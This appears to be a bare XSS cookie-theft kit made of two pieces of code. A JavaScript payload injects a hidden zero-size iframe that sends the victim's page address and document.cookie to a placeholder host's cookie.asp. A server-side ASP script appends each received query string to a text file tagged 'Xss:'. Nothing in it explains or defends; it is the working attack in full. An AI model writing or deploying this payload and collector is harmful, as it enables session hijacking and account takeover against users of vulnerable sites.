document.write("<script src=XX.js></script>")

var code;　　　　　　　　　
var target = "http://www.xxx.net/cookie.asp?";
info=escape(document.location+"@@@"+document.cookie);
target=target+info;
code="<iframe style='display:none;' src=";
code=code+target;　　　　　　　　　
code=code+" width=0 height=0></iframe>";
document.write(code);

dim fso,file,str　　　　　　　　
str=unescape(request.Servervariables("QUERY_STRING"))　　　　
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set fso = Server.CreateObject("Scripting.FileSystemObject")　
path = server.mappath("xxx.txt")　　　　　
set file=fso.opentextfile(path, ForAppending, TRUE)　　　
file.write("Xss:")
file.write(str)　　　　　　　　
file.write vbCrLf　　　　　　　
file.close
set file = nothing　　　　　　　　
set fso = nothing